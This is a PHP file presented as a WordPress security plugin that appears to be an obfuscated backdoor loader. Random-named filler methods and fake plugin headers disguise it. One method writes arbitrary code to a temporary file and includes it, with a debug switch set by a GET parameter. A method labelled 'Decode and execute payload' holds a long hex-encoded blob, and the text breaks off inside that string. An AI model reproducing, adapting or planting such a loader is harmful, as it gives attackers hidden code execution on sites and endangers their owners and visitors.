File: /home/lgooir/.trash/beteng19/mas17.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:6241520 */
/*
Description: Enhanced security module
Version: 9.5.69
Plugin Name: SecurePluginixIORVIR74
*/
class LoaderSaOAOL68554 {
public function pubsglsI79() {
// Public method 1
for($tmp=0; $tmp<1; $tmp++) {}
return 'valtMIi12';
}
private function gtyWPhIw75() {
// Gate piece 3
for($tmp=0; $tmp<2; $tmp++) {}
return str_rot13('x6zc9');
}
private function kmdFjyUi46() {
// Key segment 2
// cmtlQtR21
$jv2 = unpack('L', hash('crc32', microtime(), true));
return base64_decode('eks1VnE0Yw==');
}
public function pubTtyuE49() {
// Public method 2
for($jv3=0; $jv3<2; $jv3++) {}
return 'valROEO95';
}
private function gtyPLtAx90() {
// Gate piece 1
$tmp = str_rot13('ebgFUBtN33');
return str_rot13('shr3f');
}
private function dczsruXa19() {
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
$buf = (bool)mt_rand(0,1);
return null;
}
private function _execute_JoqsyTHX49($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function gtopMjfz69() {
// Gate piece 2
$buf = str_rot13('ebgZGdap26');
return str_rot13('oat45');
}
private function kmtxhRdJ33() {
// Key segment 1
$tmp = str_rot13('ebgRdejr30');
return base64_decode('bnlSRW1PNG4=');
}
public static function init508() {
// Decode and execute payload
$hex_data = 'c0LDfT8XQ8d7d4b7ba2da16ed0faa46a1d1041bb7818a46a326a0a0a697900a283e92321592fcfa2bb8648e39649f7b1ba7b3bf5304596bcd351fe3d1f197dbbbd40a036fffe0dcb6fff971ab3b6967f5716779d7ed6d9ca7af373b58c4fd8e1f7f3db8ce789e8defee52f7b75b8bfbb3f5321b7cc57698d9f7a34daffe101e3a9d248b1f83f6e7ebf4cd89b2f0d3776afebcb7693c6ddbbdfbb91f2e67493408e379c777ecc7e9f8dfdcfb709eeacb1f3775fdce77fa6bececb7f3783cebd606edb13be82cdcf6ebece7f0ee27d66cd8fb3804dee364d17b49a37abb173987e19d1bfd7602e7cef15ff68fd33859387670d773be8320ea77bd2c1eb5d37acf198723cbb9ee75376f7eeff17576fcb7613678be771fcb771eaee2288ab3e3ff86c9d409bbbd85bf7c0c6a9fbd76633048c757edb0d7ed38993d4cd2ed3c6b3f0d7af1c6aded9f075e6ffd6285db5e3bbcf2fcb01ef87e77b6d97c3fa5c3cfd7ecd07db2963fbd4dda779cdaf74bbfddebb9cda7a7afe2ff77db765aebc7b0fde979cedddd66d99afbcbdfbdd4fa7ab47a9fc7df311c7cd5ac51f0152ea6c17bb4b167b35e32ec59b58db78d9f17c147f61458ab85670d86aefbfbb6d71bf9b5f07becdbd741f0328bba49747e97e3eff8bb4892d15396d4e7e172ecf8e1cd5d3bf5fcd80e465fb5edc20befc2f3ef2dde2f487bae33bf6dbf7c0fb3cc0ec2e4fef8e23feee670dba9f5b2be1f5e3bb341e73576ef3ade70318e7bbb28686dbbf54956fcb660f3eff1f6fff9fddc3bb7316eb76b69e4fe7f7ebffac5f74bf2efe77fed073d376ab6bdd0f33787fb87f0e3faa9fd38fe334ffff9d9f8f84dedafe33b379cf5f19d43eff8ceedf9f19db7af5df7aa5d8bb6e3ecf133f8aa2d975793eff21b58d14f3b707da79766c376e3ddd9ec37a39a53bbdd38fdd3df486e8e7fe3fe35ff1bb5e8f8379ac9a3e55bc73d5ebc5ff7b8d7cecff3dbd9ec21f456bdb6d7eb7f455f63cf8be769e3e5c1f29ac3c09adfa7add573e07fcecedfeff40d5a4fa93508fdfdeb9315fceef5a2fe2c7d7b9d59e7350aeb61b89c777a9bcf472f6b1dd7b2dbeb8d7fdf064efff6b856932ffbdf6ce62eeed2f057508f9fe781757ce7b756fe5da26dfeceedb6b749af1e7c6b3dcff6afcbafe8f85d96ceac177e3ffeb857cec63e7e97a856ecbf4ef0fe9235cefb2f758ffb6feee6cfb30ff9f35e9397dff3f67f7ebfe4b8278f7bcdbdff133f9edea51d1fff6df3aaf8b7fecbefe97af356ec53bfdd79d89ef79077fc6cf6cfd84b3e83e410dce57b7cf3d66dfb5ebbf3ed5c3d27fee84f52fb1d04ad7f8fbd4df9771fdb6ff5fb8dfb348bf75783d8799f276f4faf3f176761989f85a9539b87d6507dd35eede0fb1b2b1b3b1fdfc728f1f45c8bd6bd2cf1c370531f7ec56fb756387bb21a7f5fbbcdf3f38e7b3c7b7db09cf4f6cb6b77b3fd55544bbdc0393c0e8feb703ad3aded71ffdd14fbcf1b1cbf73743bebb5dfa6fd97e2ef4ed649747edec48f3fe64ef478dcf72bd775eeba616a8d9df1c173a270e807bf6f6bd66211d492ffd82fa3c0b3c251ad5d777bfbdb5992bd0f9cc6b5e77c3cddd7bccfdb3cd6edf09c87dffdd07d1efbd6f13b7f7d7682e6f2b8beeb693f5fdf2c5fa3e6718d86aff97e89f33dde8af3df11748fbfa3e61c7fc7cbd3f11c255137df2fd971bf4c76c7fde2cd57c7fdb2f18efba536393e2ff6f235778b35b7e55c06f9f3d2e3f3ecf6cfa0f3c759e6cf0b8fcf4ba362ff59f9b9fc973f6ff17d8c7fb53cfed50645fc9be7f1cfcdcf797e0687513dfde715eff7f69e3feff49df3d8f4e2cbf3f6f9fbadf3e785c5fbc5f9f3eef2e7f9c5f38af76b15cfdb96cf5be7cfebcef2f7cbcfc74b1eeb9253dc68e4efb793e7edf3e78d253edbe5f7fb23efb73a3eafe914cf0bceef97bc74cbdf7bfa7e79bcafa5f9f33ae7f79bbbc5f3eac59999e7cf73cebfb799ffde3f4ebeaf5e66c5f3d6e7f33b59e5e7f7b41ec5f3baf9f34eeb6b9771b258df6c903f2f393fefd5cb7fefd0d7eb31498bf72bd6238f07b551f17ec5ef75f2f7fb55ec977afebc62df17dfafb82bbc3cee0ea7c57e599ff7cb637afe7e512d3ebf5f7c5a8ff4bc5f8ae779b1757e3ffbf47bb3f3dd9344b3f3fa3e6e8bfd32cd7f6f90c7abfb623deae77825eb6bf65fbe9f9bed623dc6f9f70bf2dffbf2a3d76351be5f72da7fc5f7dbe7cffb2dcf73f3f7dbeaf51d7ae7f53ded97497cfe7e2fc57d5e7b28cec7b6fcbdcde27cf4f3df3b3e3fcf6e17bfd73aaf4792af47bb96afefe346d6b771decfc5f34ee7ede3b41ec57ec9f2e7c5f2fd06e7f72b7e6fbb16abfd12d5b272bff8fdaafdec9c9fd774bae5f9383daf5baec7bfe2799d727d8bf598cecbf8d2287e6f71dedc733c289ef7ea2de5796bfdfd4eeb7190f3569edf8f5619af8afddc2abfdfab373e9f8f34df2fc7ebeabcffccf7db9fd703e3c1957cbf81ac47f17b25be9cbedf81ce477afebd663f97e76d785adfe2fbed8af590e7cde4bc1d8abce41c0f5e3687f2fdf2fd7c8a7fa7f7fb53c683d656d6233f1f2fd3733c68d78afd9cc8f9689cbf9fd97f453c6d4a7c2ee395dd2dd6c329d7e3f4fd6c795ea7dccf65fc33eb7b43fb2f95783a28dfeff4bcb4bc3f16dfe5ef85f575cafb83e241f3743e9cf3f3ccfecbf7f3e3fa9c3f9fe27d323a3feff47ec5f928e29f1707727ffc94f17951fcdee2fc66e7fd57e443a7f3718a2fa7f3919eef23f3bcf2fe30f1a038bff3f37e36f1a5b88f4ee7a321f140cedbb5dc6ff9f76b25e778758acfa7eff72af10fee37fb7c7fc4a7f72befcbf11fd9cfe5ef35eb3b97789595f76f58c67b13ff8afd9255c4abd3fb9d7eaf47f1392eef5fd82fa3e2fd643f3724be2ccff1d9dce74e791fbd94f946713ec2d3793bc8fa6ecbf37b23efe796f7f9e93e72e4fcaecbf807efb797785a2ff7b32df1aa58df4d110fcae799f5ed96e7ed9f3ccf2bcfdb291eec69bf3855e76d2aeb11abfbe845ea41f3fd1ae57d04fb792bf1b4fcbd45fe62cec756e2694aefe74a7e503fef9753be768a2fde395f4b2279bff5793dccef2def4bb31e75897f63751f997c6d2eeb7b907ca8737ebf04f64b2af9a9c403f8bd63f5bc539d57dc6fe67c14fb792ce7373ee72f66bf0ccafbedb4be45ad1b52bc8ae5be6c94ef778a7f7bb9dfca7cf7b45fba129f17943fc712ef6339bff373fe72ba3f4ef915e42f920f7912af0e723ecafbf2f47b4ff76f2cf1a5b82f1db97f67e5f70b65ff4594ef662a1f32fbef745fca797b97df5bde1f263f2dce2fe71b13c9af8afbd296f351e4073bc95fcaf366e25ff1bcf8bc5ff0be9c4afe7c2de7a3b88ffe9eef23936ff8e7fbcdc4d344d6a351aec7e9feb5e57eabab78d084f812523cd8caf73b94f707bc5ff37c5fe2fd7baa8f5cc9efbbe7fcc5dc97537ddefc7e99ff35a93edae9fbe805f2bfa8cc37203f28fa4d7e5dd51fc5f93ded17f37eddf27973a98f8a7c6823df2f28eb85d3efdd97e7edf4fdbcf279b0bebee41bf139bf32f99a25e7adac2f4d3cadab7ccdc483e2be7c96f3c6f525d45bc5fa1e647db7653d9348bc5a9eeb5f73def6e7df7bead715f5aaa93fb6e57e2edf0feb5fa9b78afa2381fcb9f8bd0ba9b720de4b3df847f6f356c797d3fdfb3a3bbf5fb1ff207f31f96ebd8c7ff639fe9978f557ea238bce079f5ffe7eb25fe4fbe1fe83fa68763e1fa7fd124a3c189cf397b97b389f5fcc4fa19e817cadac67ccf9eda8fc2586fca545f91ad45b81e4e3b2be6b892fb6ca374c7d49fd0da907217f31f59b7cbfd379b3249fac97ef57d46f7fcafbfc14ff4ee76d20df4ff2979ddcbfa95a5fecbfbccafbbd4b3eee4abc5a97f74722ef57c4ab07c9af0e657d09fd8db5dc974bcaafb2f2fe3ded3f9bfa1b87b29ff3a78c0726ff93fb08f217c977a53ec7fac829efcba8ec47987ae1a7bccf21bfb7253e7f97f7ef44e2e9e17c1f99fd1c94fbf9f4bca8cc0f4ef17429fbafbc2f4d7cd6f7d1e57e2ee3fdd0afa8cf4d3e1ed37e86fbb7a27f65d62394fe8b7dbe2f4d3c95fe9a5ff60f307f5e4a7c2efb61b8ff96e7f361e24b2ae743f2fbbad48341f97e727f0cb9bf964a7c89a57f55e6a7f27e109f4dbcf7647d7fca7c7747f5f49dc453e9779ed66359e66bd26f32fdc9aeea5f99f3b62feb19580f5bf69f53d6bfb2bea7fd2cf964d1cf31f9fd41f2dd7e99ff35693fbf4b3eaef37bdc2ff38eee4f4e8b7c4d9e07fd9cf539df389db7a25f67e2bd55e657701f8d753df801f1ca52eb61ea05c84fd373fc33f906f74f53aa67a2b2ffd796fb6d2ef7dba1ec27423e7e2ff56f43ceaffcde54eeb748fa7feb73fd61f2f195cec7617df9fd36e77cfcb4ffb0ff124bff4a7e6fb7aa9ffd3aa77ca3accf87a1c4031d4f4ff95fc2fde75fe77cdce4f731dde79ee443b6f4afb85eedabfe90c9ef23c90fcadf7b5a8f685dd65b29ddbf43c9d7acb2de8f24bf2ffb6b267f5ee87c12fb3956553e7e4df9cb8aeef3a9c4e7321e840ba957a19f9d4abfbdccafa49fadea5fe927ee64ffc5e7f580fe01de9759d9ff6b97f9e4d097fd674bfe372deff3ceb93f64fa1175dd3f90fa4dad2fed3fa9cf659e6cf2ab96ec67ab8c57a7fa43f78b4d3c4de43e2ae3a9e9afedcbf80cfd8854f253a9f7219fdcc97eb664bf6cabce47398f32f16579ceef53e85f6de9fc76e53e3a94e7f714ef5d15efcd799bd23c20d1f305f37bfb94ffc97ed99dfb43aa3e2ae3a989cfd3329ede4bffaf21f9bdece758f20da83f643f6fa51f26fd3abfcc4f3f7e49fde196fb59cedb293f85f911dd9766bfc8fd0bf7d1a0aca79d32bf92799ec9af56ba5e35f591e47f2df97e9e7cbf35f54fcbfaed946f507e6ff25d9daf99f3c6f3c1907e6f7c7e1ee4cf26bec03c655bf6afdea5ff322efbcfd0cfd9507f17faa74ef97e11f7d7245e41ff6a2ff981c4833baa8f1af27e5e797fb4253f08a4de4aa93e3a503c4de5f7d6cbfe2ed4979ef4afca7900f6ef3dc98728bf82f812cbf322958f9bf812eb7cc8f40fa4df5eee17733e5289cf4b556fe1bc71aeeb73bc8faee4f70eca79ad9cdfe194e65b9f727fc8fe9b96fd3a8c2fd2af3badafa7ee23b39f77323f8a553fd6d40b30af90fef869ff2dcbfed0291f8aaae63d13b9cfa57f2afd4ee9ef9a7aeb59fa11b6f4773be53c6520f134967aab9c879afdf7539e0f8857fb323f58487c1ee87e899907f4d5f733f134937a8bf3f14e199fc7fa3e37fb655ee61b89acafe4f72f255ee0b4ff4ef560a6f235b3be759a0f6e241ec8fc03f28db5e407a9e46b75159fb95f62ea85819cb7b5ce77a57f75310f68ca7c10e6e73fe5fee3f9e55afa2fa9ea4798fca529f787f4c79db23ffeb290fbed20f14afa6b905f1dd47ccbe4bba99c8f4cee23c9ef57721fedcb7e04acef35f5eb76b2ffb2f2fe857c7725f16aaffac5d01f827cdcd4bf3f1a0f12ad2fef73b35f46325f3848bd2af94b22f31eaffcbda7ef67cbfd21f9d5833ccf917c5cf29794e60bcfe7ef67ea19c00bc4e57d0ef9c10dc5e784ea55e83fcb7c61d151f90bccf74d3f47ce07dc6f1ecdcbf6343f6a54c59796e443522f9cfa578eea279afb23d5f81ca90701ff3294fe81990f4a7f0dea73391fa7fb2353fd7b53ffb6e43e77a81fe194df0ffa074905dec7c4e7327f36e72350fd67b31e81d4d3d26f5a081ee441f03e19cda35c557f98fc60a6fb2517fdd889e4a769596f9deecba0c41fc07de4cbfcf740f56f56f687283f35fd8381ac47990f99f590fc0ae23dcf67e2aae7fd95f33190fb63adf335a8cf27e7786afa6157f27b25bf3f3d6f5ce62f2f65be6bce5b47cd2b20df457c84fcdeb6cc034259df48f034d24f1c4bbfb821f7a5f413b7841798c97e6ea8f9beb97f1fa81ebc96fb52e6978ef413a7721f59347f8bd53cd4c4bf96e45765fd81fd58be7f77fa79821750efb755fd7613af781e9fd17dd9a0fb72afe6bf263eeff47e3e3def94bf3464bf483f7644f9249c5f57f22bb9cf3dc9d76c95ef9af83292fe7326fbafdccfa7f827f58cc99fcbfbe37125ef9795fd76c99f4ff140e6e7e63e2af170c3a99c0f980708fe85e7fb4d8dff33f5d18f8a07d0df30f9df54f7dbbdbeeaef9afb43cf67b05e7d95f9ea5ae665b1cac7cd7d7e23f1c055f507cef75f7ea8ff2cfd9281e41bae9ac79b7800eb2bf5f945bf44ea992ecde3afe4fd228acf63badf4afc1f9e8fb1ec674bf03e65bf0ef3ab88fa89a9e05f047f35d1f1e054af029e6643f328b82f219e4a7ed091fca551dee7525f9a7eacd4e733badf60de2df337e9df9b7a7aabfa394dee8f03fe7423f59b55e62f526f213e674cf332ae17e47cc83c80fbcfcd56059e06fb39cfb29f23cac701ffacd7d7ac8747789a487eaf9c8f9d9c8fac223f30f8bfad8ef7d23f35f58cdc1f1beac7c2f9b5d47cdfc4d3b5e0a5a45ffc22fb6527f7d141e15fa05fc2f1dec417abec6f9ceea3127f6afa9d81c27399fb08fa254b9a273bd24f94fa6d43e76320f59be47f504f43fe2cf853c83762f97e0d99774b7fedb7e0b3a5fe757e54bfd8c42b4be1ffb09f237833537f94fb59fa0766bf78343f623c21d4474e59ff0abe04ebfd81e443b4ff4ef94b50f6d7046ffb616b7c622ba5fc25243ceb27fdde91c6535fc48354f67354de6fd02f81fe55996f6c68bf40be6bf253999779ba5e3dcde3175385ef34f7f95ed533304f31f7d192f2dd58e6b51d5d2f7854cf44320f88659ec7f3c64cea19c9efef643dcaf9d658f0c5069f38d3f3cb17999f03fe80fb4336f563019f4df91ae137ccf7cb54be06f7d118f048db2a7c84c4bfc94ef7ff6af77a7e247c08938f035ec59578b5d6f7f942dfbf1ba92fcdf995fa6d4df906d4477605de2c81fedf41e119ccfd9bd07c2b94fd227c88f9549f5fe817ffd2f5470bea2d396faf33c28f0b9ef09ee6f10de9bf38d47f71e97e6b48be312d9f37d0786a83d713fcc156f00c8ebc5ff7327f36f7ef909ed714fe8c27f9bdcc5761bf2c4b3e84f4db13c26f98fe817cbf989ee7cbf75b2a3c30e4f7885f6b4abc177cb153de6fe6fd7ed47c10fb89f0bcbd9a47997c3c9679cf58d5fbe6fdb6727eed2a7c22d4abcb325f137e0fe66b96d4bfdf0a8f8ef8926b994f07821fd2f92ebe5fd96fc2f911f4c3a05ed0cf03bc7c2a7c1cc15f617e0af355a82f07d2df98e97ced946fc0fc48f2bf91f44ff7d28f90fa12f21787f83852bfc13cbe23f9d55ef69fc483bf3a1f3ae5f7c0d720bc3ce66b825739dd47819a1f99fb23a8b87ff1795dc97761fe26fdb5bfba3ffe42f7e545bf7d22f58cf0f34edf6fa0ea73b39f03c9efa19fa8f161d8bfba91f862a9f301fdf144ea7d733e3aba1ef4747d0ef31ec3cf2bf397e142cf7fb1ff77a0fb12fad9d2bf5fcb7cc695f97e89ef34fc2de157dc51ffa0a1f1758ccf1e2e747d84fde28cf025b1ea6f003fc5163c9c396f25fecfcc3f2ace87c16fd81a7f25f332135fe6d47f8e253f653cc35ef0ca721f25ba7f3f0c295e41ffca3acf17cc7ec9881fe5cabc5be68dd07f89abf2ab89f0030ed4cfb1683e18a97e22d6ab8037bb97fc4fe281c4535c0f47fac5125fa0de67bc40acf002a6fe053ccd80ea8f03e16934de02e21fe693ef926f8c4bfc2ef03f36921fd8d47f017c71d95f137c22e023203e3f02bf27557874537fc0fc43e683544fa782773cf56301cf0a7c4eab0a2f0ffd674bf2e71f8d7f9e7714fed9dcbf07c1ebcd359e5ff829a6be94f5d8ea789a10be09f9a11ef121b8de82fef3b7e20740fdc6f3bc0bfe34dc1fa9c2cb9bfd3792e71d2afa57d8cf19d3f75b2a3c2bcc1bb1deffa5fb756f8c879b527dbe91fdd210fcf35c3d6f0cf3b777a917343fe0923f1d0b3fb4e46b349b727e35ffd2e4cf4f92bfa4929fcafbddeb7ec905df2595f5f5ca7ee7abae8f703fc3f7b3145ec5bcdf5af28d81ec178db7c57af041e319905f3616fe79c90f35fdfb1f8d5701fec244e359713e53d66fb09f851f05f105f94703b98f2cc1ef96789a37bedf801f9f11feb94178ef3df1dfe4beacca9f91ff06fcc107c2d7fd96fb6d40f9b843bf37a3796883e647d26f8f08ff07f37da87ff7d2ffa37825f5aae1c7977cceb71df185169abf3559cbfd1128bcad99a75c6bfc1aea15b8847f063c30f17ba6738d3ff853d7f323d00398137f6123e7ed50f2a3a4ff82fcc1923f73c90ffda98aa7255fdce4e307eaef3ac227eeaaf90cf44b4c3cf856f114f249cc37968a1f65ce2fe7bb1b8d1f32e757ce5b43f00790ef76094ffd53d55f3ba87860fa934dd9cf81e06904bf3193fbbca1e601269e76a89e21bccaa95ea07cc3cc53f655f3990ecd7b7ed17ac48217a8ac07d755f91acc2b6e2aea7de83721dfc512fe96e6ef6fa87f00fa07d8bff7041fa6f1d49eece76440eb6b4bbee1a9f911e063cdf396a4ff92ca7d29f71bc583562af56024f99af0fd36525f66723ee87efb5357fc55f37b81affba3e747846fc27e675deba1b4009f18a8fe9fd9cfa03762c97a483e6e6b3d19e977aaf9bec68f9bf36b13bec925fe82a5fa57261ef872ffda34df3fa8fbd2ec976bca9fa97f5f59ef9bfcd4a6fcb921ebd157eb6b839e07f0216ca9a7e9bc4dfb9abff52afa0250ff7a6a9e02f507d497d8df103c12d4fb6b595f984f73bf9df8a6d0df6d91decd4ec72bc35f95fbf79f9c5f8fce5b4cf853e093cce87933ca273b6aff81de48b3aa7ec379ca42fa9d99c23f1b7cc483ae57919f07f314dd4fc4fe73a2f91586afc6786a9a1f39dd2abd0cc13f87a51e14de47aeaa17e0fc3665def8c2f8e254f75f4cbdaaeb73e0f7205e2f52f86793af015f57ebb5001fc2c403c977db849f847c7245fa39439d8f23bfcc557c30c83710ffcc7c7bc64b5d57f0cb10df3993fd22fd67a817607d058f24f38fb744de4ff44b44ef06f1e329f5eb62ca0f5cc54f81f91bcc1b85ff86fc415ff8bfd7a4a7b5d6f328b92f016f61eef38cf85171c5bce78de3fd42e2bdccbb17d2bffa1f7ce2a5c287a97a5af8f6803fb5d43c14f8f188bf8a491f89fb4da9c68b9ae7f575ff00f2dd58e32386c0c74e15bed3ecbf11e97d35f43cafb5a3fa7c417cab5585de430cf9c695cec731df107e0fcc7b189fc87cd8dfd42fd9c87e113efbeb4ccfcf41ffe05ecf7f9b34cf133e13f47711ffb722bd2fc063ea7e04f2e9baf2fd9ee879b1e6ab99797c5dcdcf11bf11937e4e28f96e46fc9e03f14d53eabf00df4fe6aba07753f2032af139c80f85fe10f03f78de68a9e7997a7022cf9379bcd43317fc19c2df237e03f4a0b66a5e86789f58eac1a59a7f60bf84f271c887446f04f82e385ff02bea554ffa2fb57be247011f11f8d8a27703f1794f7cd383d24b33f7a54df81298c707821f2ff143e67efbbed4ff537a4b7d8dcf698bbe5448fa522bdd2f36f1beaef3f13fd40f73663ade83fee44ae3b313c04b019e95fa75326f947a5ff10769fe217c12d31f9779c556e3d1253f05bc05e04fb11f61919e87a3f487ccfe5bd03cf99fd61f4a205e590a6fa1f4cdba845f9b55d50bb1d2f350789a6d951e4040eb9b55e9593e487e6f0bfe4af829efd41ff2b45e15eb7920bfcc56fd3fb3be808ff594dea189a769a5fe95d60f33f32d47fa575d85e7677e05e85fa19e20ccf3b63abf87e7d17c10f18e01e19f9d32df053c17e0cd229a2f58c4ff8895de26e2134ff7d158e9459af57892fe7d44f3b73de95fd9a4776829bd20c03f9b7e622cef37253dcbadee4f42beb1a57ac6d3f502e2e13c958fc3f930f180f93816e5437ba53f847851e1efa33ee180f43c3ce123eafbc8e3fe81e82d7dfca27895c8fdb1547c3a739f03de2256786075de848f13137e17f48ce2aafecb80e60b301fcce8fda05f27ef97905eda58f3d5303ecbfc57decfe0cdba2afe21dffe5ee2fd5ee12350df16f02aa1dc6fb1e21b98fd3c94786f131f7b5035af0d093f5ea93fe951bdff67abeb1987eecbd7ee65bf09e38ba7f50f70beb0237c31f4af1aa4371248bf69aef28d31e08756ba5ff702fac0f0fd04bf067c5d998746f27e2bcd371dcee9fd36a4073ad0fd76c18701ffc3dc4763da2fa2bf01f7d19dd6e7c27a7aa0e6014abf78adf5aa16c2071b10df19f0d903a52f0af906f27136a4373722bc14f48704af27fc8f17ee5fadabf46e009f0dfc55d1e3867eac47e777adfb7fc903e965dc54e93f935e415a856f577a785badcf2afa346f804ff4947e1de6bba1acef44eb2163fd2b7a1edd0afca979de86f86ab0ff9c2a3ddfb8520f4fcfbba1de12bd11f37e379aafd102fddd40f52380ef1782bec550e6837bd23f60fef452eab799fabd267f8ea9fe3d907e7b407886b1e2f7a87c5cfa43a04751f20dccf32cc1dbcafd36d57a738f6bada760fab1f5cbf301783dd03f1802bfa25181bf47fe47acf066ea7cfc773db8a67e71b5de92d4ab5bd24301bde648e9459af97497e68dd7fabe447d6f87f4b8f7847fd17c628c0711f3172af9a619e1916cd2f34d151f02e7d3c29fc6f75b2a3e9889f763ad7f8f7a371cefddaafa6845fca37b5d2fa0dee692f2b531e9e5f27eaed26b31fdabb9e25b99f3e690beb22dfa9dab2a3ca6a3ea05a5a720fa6601e10941ff2a20fdab58f49f25dec3fcc313fecc5aeb7b87527f8c485f94f1201bcddfc7f867915e9a45fabb96ca87203fc57968487aafffaae66fa2178efd4497fc08b47ea239bfc09f6e90be85a5e6f1663d38bf82fe644c7a8c7bd25b8a89cf1e55e915c07d24f3b2f05be1e551afbe49fdce44c72bd427cc487f7c4ffd76f7bff41eccfacafc57e23dce936db97f89af0bfdce35e93779c41f243dda04f4412c85b705bd34982f603d93293e0efa4d4c359f09e77989d64f44bdaa88f0fc36e5570dc2738d2bf23fd4df85efd7517a7818ef7f55f0352ef9e2eb2a7e4083be9ff4c344df0cf93d11e15f409ff5bb2a7f49c5c769abf007269eba4a0f1eef37d22b30efb7577c0df4eb007e8aa7e7fbfcfd443fe7921fb024fca9a7f070aa3e5fe9793ce30f983f48fabbd80fdb493c00bc40397ffbb8ae9c87fe94eff74cf3da54f3676ac4efc1fe4640780b8ff65fc98730f105e2b3f64b40be1aeb0f79341f4ca5ff1c28fd1cc56727fe91dcbfc390fc17aafac5e6bc59826798d3f9fdb9e4af9afc7957d53ff034be09e70b6b9a4f87d46fdf919fcd80f2dd96bc5f46f981a7f039e679a9be7fb19e8e951ea8ea6fe8fe2ef829997e7187f486fbda5f03f0526905df25213d69afba7e8bd5bcdbdc476bed67f3e257e8bf84f30ef1a7fbaa3f847e0e89e66fc97d84f79bd4e7c97d85be0aeadfa7c40f5d687d01d49bdbcb7e167cd36f89a7c2d795f939f3f7056f8bf32dc06f407fdc557c49e00798fd92d1fc2d20bee441e94983ff07e62f0bcdc7917e09f84d203e02fa4d4bbacfc7842fb6d5fcd2c4d37bede780f314d0835fabfc3ebde83f4bbd057ad72ee9abb8e4ff21f739cfa7e53e4ac65a9f0beb5f4bf5db2ffbf74beae734483fa2d28f20253db250fb07209e06ea058d17453c21cc7f23d26b8ed5f703fc90c9ef2dc2d338c4c776e5fb7555bd65f6b3adf8f14a2fa85f35af15beaeec67c4eb35a45eadeb7afa55cfb7c09f4efa6b4a7f63a5fb079ed6cf06bd6bd4470a54fcc37800efc7fe65371aaf2cf52acc7f41af0ae73d36ed67f063e17820fc05381f4bd2034d293fb0842fbed5fac080f70964bfecabe615f75aef1aebfd8cf8d88eda7fece760f0020f84dfa84b3f07f4f566140f645eb122fda631e1ff2af947d05f9b915efd27cd03ba34df6a10bf765bc57f8b38deaff4fc12f49f7f533dbdd5fe5bd8bf4aabfc11abe68d309fb9d02f81fd07eb31d57ae1535d5f22fe79a5f37bd4cfd90b5f97f41d81ef77a5ebb7b7adcca3585fe040fd264bf9e3209ff855fb37e27c7041f8c435f915dd8b5ec19ef8ec9ed26f52fe656b159f43f69b807ec915ed177a3fd16f57fc3cc1ab3c68fcb8f043617e0e7a0aa6fefdd1f83f987f8ce5f75a8aaf6bf6df4ee7bbc3b9d617bdd08fe5f3417c6c53ff6afc780a7aa5a9d64f4c46e47f7943fdab77d24ff42af0fca0579530defb9afc7be0fd34deccf45f56baff521b105ee5ba4aff05f0d933c2b753bc32fc3cad3f847ac33bc2b3ceb4be19e277812faefd764cfdb1acd04b433faf98e6ab01f54f2dd28f18503ecef8449bea853df1c5199f3da0f9beabf47c959fe18afceeea14fff43cd4acef92f2f1a5eac7823f622c7cb08f1beac702de47f4d700bf91d0fd46fc9426f157518f96f58bb97f1a54f9bfddd07cebafc4aba5d28382fa17f198638dbfc7f81755f8cd223ed626befd5ee93523ffb73abe80dfce5af70fe61a2f857847a8cf07c46f8ca8fe3810df4ff79b508f1beaf377c2bff815786fd42b1d6bfc55d3ae98bfa19ef94ceb7b4f48ff00bf9f4bfa252ecde39715f9bdb9cf573a3f85798a4dfc992df9e7815f07e827aed4fc03f522eb5acf1cf9f696f29f517e81ab4bfdba4b7dea88fc89b5de3ff021905fd195e759849702bf04e2d7469abf8ffdf14affa348fbe1627ee069ff28d47b88a9ff77a0fea955e52f34d5f174126bbd48ee179bf9b4d4ab5bedc7f232d77e278f2be26bdc6b7d42b3be7dcd2f033cf59cf05729f9913e901ef72f8d876b71fd1656f8e384a07f3fd67c08f43705bd5cea3f47946f503cbdd49f9c2b3c88a967806ffaa3e647e0df78a1cf65937f4f4af5e042f2c948e5bba07fb591fc5efabbe63e07fec252e94780ff02e3d7303f6dd1bc07f47d189fbdacc2633e909e39e927e2f7f3aafc1641af54fa435e390f407e85ccf7857f8e7e4f96e2d7227f1ffcfd404f81e76f0ef987c66a1e65cec7a86a7e2ecf6bed88ff06faf772bf01fe80e229faa7b84aefc1dc6f7e85fe90892f5985fe38eadb0e94de2bf64f21fe41bfb821f34be987b19e4242fcf380e6516b7abf49853f27e0e15aa9f6d7bdf08ffa47f8b0a1d62b35f17eabf81f804f44bd615be903c3fc12fc6151cf23a8c23755f26740bf7352a9e7b1fd4fff32eadfe37963fd58f03f9a57e99f02df54ceefa6521f784b7a695b9a9f4bbfe4a90abf3b5fe97a10fc1bafaafc2140bfc4abd4c393e74d2afc21d07f6b2bf394ffe1074e7ac3a0af477acdec2f2ef9fde53c4af43ca0be6ccafe5b56e98d90dfb1e977923f933fffdffc14a8a79f498f27d57ab4263fa57937f01b79beffacf91013e0eb5ab2be75e277f749df4ce3ef511f93f1f223ed9785fe42ff59cf60bd9a54e56bbcff485fc5e0a5c03f54e373601e85789583f24f66bf59e59f2cf179a3f143062f2ff194f397bfc4777ea278ff9f7c5813ff7e69fc3dfab10caaf6734afe9713a97f63d2f701ff9eaef2a337f90beb0d7b15f14af83d80bf473d2d9ff481b7e4bf3091f95b4af82697e60163e12f54f04d957fe85ce99740bf18f98d59453d8dfcf83de5f72ef9ff2e653f77b5fef3ab8ecf1ee9b9c58c9767bf4ad82f01e1f536d2bf623c7f83f0de63354f06ffd014f09331dde723e2eb3675bf89f5e0d15f48f8330bdd0f033dda26eb3324344f7e263dbc15f5c707da4f09f5635dc53750fb45f70f701e7aa7f107ec2752599f239e6147f8bf7bf23760bf9858e793881f4fc9afa821fad9dadf14f8798cb735df6f46fe97dfe47fb4adea1707e45709f3b7ae9a07803e7502f9a945bfd7a1f505fc0be391560a9f187b841fe2f321f52af6af52e22f582afe55eb9718fed6fa125f077e4021f9bde37ca6aefd49d0af37237ed992e68d81d27363bf31e537fba3f0c5e8dfbd267f21aedf7ed1f75b493d38a8f07796fe8b9a9ff715be09f9797f09bfe66bbe9fc1cbebf911e05fd0cfcbaaf0731d027e3792e